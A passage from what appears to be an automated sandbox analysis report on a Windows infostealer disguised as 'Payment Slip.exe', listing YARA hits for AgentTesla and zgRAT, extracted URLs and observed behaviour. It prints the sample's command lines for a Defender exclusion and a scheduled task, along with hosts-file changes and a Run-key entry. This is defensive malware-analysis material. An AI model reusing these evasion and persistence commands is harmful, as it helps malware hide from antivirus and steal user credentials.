                    Source: Payment Slip.exe, 00000001.00000003.370475864.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sandoll.co.kra-es
                    Source: Payment Slip.exe, 00000001.00000003.370596798.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sandoll.co.krcomde
                    Source: Payment Slip.exe, 00000001.00000003.370596798.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sandoll.co.krm
                    Source: Payment Slip.exe, 00000001.00000003.370475864.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.370596798.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sandoll.co.krs-cv
                    Source: Payment Slip.exe, 00000001.00000003.370802075.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.370663697.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sandoll.co.krw
                    Source: Payment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.371843623.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.tiro.com
                    Source: Payment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.typography.netD
                    Source: Payment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.urwpp.deDPlease
                    Source: Payment Slip.exe, 00000001.00000003.373295811.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372798910.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373064835.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372585049.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372513526.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373205981.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372352467.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372448851.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372291562.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372988922.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373465863.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.zhongyicts.com.cn
                    Source: Payment Slip.exe, 00000001.00000003.372291562.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.zhongyicts.com.cncr
                    Source: Payment Slip.exe, 00000001.00000003.372513526.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372352467.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372448851.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372291562.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.zhongyicts.com.cno.k
                    Source: Payment Slip.exe, 00000001.00000003.373640490.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373295811.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372798910.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373064835.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372585049.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372513526.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373205981.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372352467.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372448851.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372291562.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372988922.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373465863.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.zhongyicts.com.cnue
                    Source: RegSvcs.exe, 0000000A.00000002.634977340.00000000027F1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.636673141.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.636591981.0000000002B4C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://4fzYgv0VsnfOwxj3KTsx.org
                    Source: RegSvcs.exe, 0000000A.00000002.634977340.00000000027F1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.ipify.org%
                    Source: RegSvcs.exe, 0000000A.00000002.634977340.00000000027F1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.ipify.org%appdata
                    Source: Payment Slip.exeString found in binary or memory: https://github.com
                    Source: Payment Slip.exe, aXqntX.exe.1.drString found in binary or memory: https://github.com/dcoetzee/plants-vs-zombies-user-file-editor
                    Source: RegSvcs.exe, 0000000A.00000002.634977340.00000000027F1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www
                    Source: unknownDNS traffic detected: queries for: mail.subnet-group.com

                    Spam, unwanted Advertisements and Ransom Demands

                    barindex
                    Modifies the hosts file
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeFile written: C:\Windows\System32\drivers\etc\hostsJump to behavior

                    System Summary

                    barindex
                    Malicious sample detected (through community Yara rule)
                    Source: 10.0.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
                    Source: 1.2.Payment Slip.exe.3cb4c90.7.unpack, type: UNPACKEDPEMatched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
                    Source: 1.2.Payment Slip.exe.3ce94b0.8.unpack, type: UNPACKEDPEMatched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
                    Source: 1.2.Payment Slip.exe.7210000.11.raw.unpack, type: UNPACKEDPEMatched rule: Detects zgRAT Author: ditekSHen
                    Source: 10.0.RegSvcs.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
                    Source: 1.2.Payment Slip.exe.3c23e70.9.unpack, type: UNPACKEDPEMatched rule: Detects zgRAT Author: ditekSHen
                    Source: 1.2.Payment Slip.exe.3cb4c90.7.raw.unpack, type: UNPACKEDPEMatched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
                    Source: 1.2.Payment Slip.exe.7210000.11.unpack, type: UNPACKEDPEMatched rule: Detects zgRAT Author: ditekSHen
                    Source: 10.0.RegSvcs.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
                    Source: 10.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
                    Source: 10.0.RegSvcs.exe.400000.1.unpack, type: UNPACKEDPEMatched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
                    Source: 10.0.RegSvcs.exe.400000.3.unpack, type: UNPACKEDPEMatched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
                    Source: 1.2.Payment Slip.exe.3ce94b0.8.raw.unpack, type: UNPACKEDPEMatched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
                    Source: 1.2.Payment Slip.exe.3c23e70.9.raw.unpack, type: UNPACKEDPEMatched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
                    Source: 1.2.Payment Slip.exe.3c23e70.9.raw.unpack, type: UNPACKEDPEMatched rule: Detects zgRAT Author: ditekSHen
                    Source: 00000001.00000002.431474395.0000000007210000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects zgRAT Author: ditekSHen
                    Initial sample is a PE file and has a suspicious name
                    Source: initial sampleStatic PE information: Filename: Payment Slip.exe
                    .NET source code contains very large array initializations
                    Source: 10.0.RegSvcs.exe.400000.4.unpack, u003cPrivateImplementationDetailsu003eu007b1C6855DFu002d3108u002d446Bu002dB03Bu002d1D343D8CCF1Eu007d/ACA7B636u002dC42Au002d4E15u002dB560u002d069D33A6C34B.csLarge array initialization: .cctor: array initializer size 11631
                    Source: 10.0.RegSvcs.exe.400000.2.unpack, u003cPrivateImplementationDetailsu003eu007b1C6855DFu002d3108u002d446Bu002dB03Bu002d1D343D8CCF1Eu007d/ACA7B636u002dC42Au002d4E15u002dB560u002d069D33A6C34B.csLarge array initialization: .cctor: array initializer size 11631
                    Source: 10.2.RegSvcs.exe.400000.0.unpack, u003cPrivateImplementationDetailsu003eu007b1C6855DFu002d3108u002d446Bu002dB03Bu002d1D343D8CCF1Eu007d/ACA7B636u002dC42Au002d4E15u002dB560u002d069D33A6C34B.csLarge array initialization: .cctor: array initializer size 11631
                    Source: Payment Slip.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
                    Source: 10.0.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
                    Source: 1.2.Payment Slip.exe.3cb4c90.7.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
                    Source: 1.2.Payment Slip.exe.3ce94b0.8.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
                    Source: 1.2.Payment Slip.exe.7210000.11.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
                    Source: 10.0.RegSvcs.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
                    Source: 1.2.Payment Slip.exe.3c23e70.9.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
                    Source: 1.2.Payment Slip.exe.3cb4c90.7.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
                    Source: 1.2.Payment Slip.exe.7210000.11.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
                    Source: 10.0.RegSvcs.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
                    Source: 10.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
                    Source: 10.0.RegSvcs.exe.400000.1.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
                    Source: 10.0.RegSvcs.exe.400000.3.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
                    Source: 1.2.Payment Slip.exe.3ce94b0.8.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
                    Source: 1.2.Payment Slip.exe.3c23e70.9.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
                    Source: 1.2.Payment Slip.exe.3c23e70.9.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
                    Source: 00000001.00000002.431474395.0000000007210000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
                    Source: C:\Users\user\Desktop\Payment Slip.exeCode function: 1_2_00534714
                    Source: C:\Users\user\Desktop\Payment Slip.exeCode function: 1_2_00F3F080
                    Source: C:\Users\user\Desktop\Payment Slip.exeCode function: 1_2_00F3F071
                    Source: C:\Users\user\Desktop\Payment Slip.exeCode function: 1_2_00F3D65C
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 10_2_0268F3C8
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 10_2_0268F080
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 10_2_02686120
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 10_2_05A4CCF8
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 10_2_05A4BF98
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 10_2_05A41FF8
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 10_2_05A40040
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 10_2_0618CF88
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 10_2_061880C8
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 10_2_0618F1B8
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: String function: 05A45A58 appears 54 times
                    Source: Payment Slip.exe, 00000001.00000002.424262731.00000000005E8000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenameCustomAttributeExtensi.exe" vs Payment Slip.exe
                    Source: Payment Slip.exe, 00000001.00000002.425049862.0000000002961000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameVoVjyvuUaggxOaRzqXrnnJEHfRZJ.exe4 vs Payment Slip.exe
                    Source: Payment Slip.exe, 00000001.00000002.431474395.0000000007210000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameIVectorView.dllN vs Payment Slip.exe
                    Source: Payment Slip.exe, 00000001.00000002.428332559.0000000003BE3000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameIVectorView.dllN vs Payment Slip.exe
                    Source: Payment Slip.exe, 00000001.00000002.428332559.0000000003BE3000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameVoVjyvuUaggxOaRzqXrnnJEHfRZJ.exe4 vs Payment Slip.exe
                    Source: Payment Slip.exeBinary or memory string: OriginalFilenameCustomAttributeExtensi.exe" vs Payment Slip.exe
                    Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exe 43026DCFF238F20CFF0419924486DEE45178119CFDD0D366B79D67D950A9BF50
                    Source: Payment Slip.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                    Source: aXqntX.exe.1.drStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                    Source: Payment Slip.exeReversingLabs: Detection: 20%
                    Source: C:\Users\user\Desktop\Payment Slip.exeFile read: C:\Users\user\Desktop\Payment Slip.exeJump to behavior
                    Source: Payment Slip.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                    Source: C:\Users\user\Desktop\Payment Slip.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
                    Source: unknownProcess created: C:\Users\user\Desktop\Payment Slip.exe "C:\Users\user\Desktop\Payment Slip.exe"
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\aXqntX.exe
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\aXqntX" /XML "C:\Users\user\AppData\Local\Temp\tmp62DF.tmp
                    Source: C:\Windows\SysWOW64\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                    Source: unknownProcess created: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exe "C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exe"
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: unknownProcess created: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exe "C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exe"
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\aXqntX.exe
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\aXqntX" /XML "C:\Users\user\AppData\Local\Temp\tmp62DF.tmp
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                    Source: C:\Users\user\Desktop\Payment Slip.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                    Source: C:\Users\user\Desktop\Payment Slip.exeFile created: C:\Users\user\AppData\Roaming\aXqntX.exeJump to behavior
                    Source: C:\Users\user\Desktop\Payment Slip.exeFile created: C:\Users\user\AppData\Local\Temp\tmp62DF.tmpJump to behavior
                    Source: classification engineClassification label: mal100.troj.adwa.spyw.evad.winEXE@13/13@2/1
                    Source: C:\Users\user\Desktop\Payment Slip.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
                    Source: Payment Slip.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%
                    Source: C:\Users\user\Desktop\Payment Slip.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
                    Source: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6016:120:WilError_01
                    Source: C:\Users\user\Desktop\Payment Slip.exeMutant created: \Sessions\1\BaseNamedObjects\fFxRWwRDYxYpTygVcOwbtihq
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6572:120:WilError_01
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4956:120:WilError_01
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6424:120:WilError_01
                    Source: 10.0.RegSvcs.exe.400000.4.unpack, A/F1.csCryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
                    Source: 10.0.RegSvcs.exe.400000.4.unpack, A/F1.csCryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
                    Source: 10.0.RegSvcs.exe.400000.2.unpack, A/F1.csCryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
                    Source: 10.0.RegSvcs.exe.400000.2.unpack, A/F1.csCryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
                    Source: 10.2.RegSvcs.exe.400000.0.unpack, A/F1.csCryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
                    Source: 10.2.RegSvcs.exe.400000.0.unpack, A/F1.csCryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                    Source: Window RecorderWindow detected: More than 3 window changes detected
                    Source: C:\Users\user\Desktop\Payment Slip.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
                    Source: Payment Slip.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
                    Source: Payment Slip.exeStatic PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
                    Source: Payment Slip.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                    Source: Binary string: C:\Users\Administrator\Desktop\Client\Temp\qCeVrdCgfI\src\obj\x86\Debug\CustomAttributeExtensi.pdb source: Payment Slip.exe, aXqntX.exe.1.dr
                    Source: Binary string: RegSvcs.pdb, source: Tnpak.exe, 0000000F.00000000.453847960.0000000000082000.00000002.00000001.01000000.00000009.sdmp, Tnpak.exe, 00000011.00000002.477073808.0000000000FF2000.00000002.00000001.01000000.00000009.sdmp, Tnpak.exe.10.dr
                    Source: Binary string: RegSvcs.pdb source: Tnpak.exe, Tnpak.exe, 00000011.00000002.477073808.0000000000FF2000.00000002.00000001.01000000.00000009.sdmp, Tnpak.exe.10.dr
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 10_2_0618165F push es; ret
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 10_2_0618166B push es; ret
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 10_2_06181663 push es; ret
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 10_2_0618169B push es; ret
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 10_2_0618169F push es; ret
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 10_2_061816B7 push es; ret
                    Source: initial sampleStatic PE information: section name: .text entropy: 7.7554882987
                    Source: initial sampleStatic PE information: section name: .text entropy: 7.7554882987
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeFile created: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exeJump to dropped file
                    Source: C:\Users\user\Desktop\Payment Slip.exeFile created: C:\Users\user\AppData\Roaming\aXqntX.exeJump to dropped file

                    Boot Survival

                    barindex
                    Uses schtasks.exe or at.exe to add and modify task schedules
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\aXqntX" /XML "C:\Users\user\AppData\Local\Temp\tmp62DF.tmp
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeRegistry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run TnpakJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeRegistry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run TnpakJump to behavior

                    Hooking and other Techniques for Hiding and Protection

                    barindex
                    Hides that the sample has been downloaded from the Internet (zone.identifier)
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeFile opened: C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exe:Zone.Identifier read attributes | delete
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
                    Source: C:\Users\user\Desktop\Payment Slip.exeProcess information set: NOOPENFILEERRORBOX
